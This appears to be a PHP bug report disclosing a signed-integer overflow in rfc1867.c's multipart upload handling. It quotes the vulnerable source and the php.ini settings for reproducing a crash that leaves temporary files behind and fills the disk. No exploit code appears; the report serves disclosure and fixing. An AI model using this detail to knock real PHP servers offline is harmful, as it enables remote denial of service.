Description: ------------ There is a bug in php-src/main/rfc1867.c that allows a malicious user to crash php during a multipart/form-data file upload. A large multipart/form-data variable causes an integer overflow that leads to a subsequent crash. The problem is that if multiple files are uploaded at the same time and the bug is triggered with one of the later files,all previous temp files will not be deleted and fill up the disk. This could be used for a easy to execute remote denial of service attack. Required php.ini settings: ; post_max_size needs to be at least 2GB + a few additional bytes for the rest of the form (this depends on the exact POC) ; For the POC attached to this bug report, please use 2147483839 or more. post_max_size = 2147483839 ; this could be remotely set with the MAX_FILE_SIZE form variable but in order to keep the POC as simple as possible, I did not do this ; so set upload_max_filesize to 0 upload_max_filesize = 0 ; according to documentation, memory_limit should always be larger than post_max_size so I set it to 4GB to be on the safe side memory_limit = 4GB The security issue exists in SAPI_API SAPI_POST_HANDLER_FUNC(rfc1867_post_handler) in the handling of large variables: /* Normal form variable, safe to read all data into memory */ if (!filename && param) { size_t value_len; char *value = multipart_buffer_read_body(mbuff, &value_len); size_t new_val_len; /* Dummy variable */ if (!value) { value = estrdup(""); value_len = 0; } ... static char *multipart_buffer_read_body(multipart_buffer *self, size_t *len) { char buf[FILLUNIT], *out=NULL; int total_bytes=0, read_bytes=0; while((read_bytes = multipart_buffer_read(self, buf, sizeof(buf), NULL))) { out = erealloc(out, total_bytes + read_bytes + 1); memcpy(out + total_bytes, buf, read_bytes); total_bytes += read_bytes; } if (out) { out[total_bytes] = '\0'; } *len = total_bytes; return out; } The problem is that the total_bytes variable has the type of a signed integer. If the variable is large enough to overflow it, total_bytes will be negative. This causes the erealloc() to fail because it will be converted to a extremely large 64 bit integer. Subsequently, the script apruptly exits and the already uploaded temporary files are not deleted.
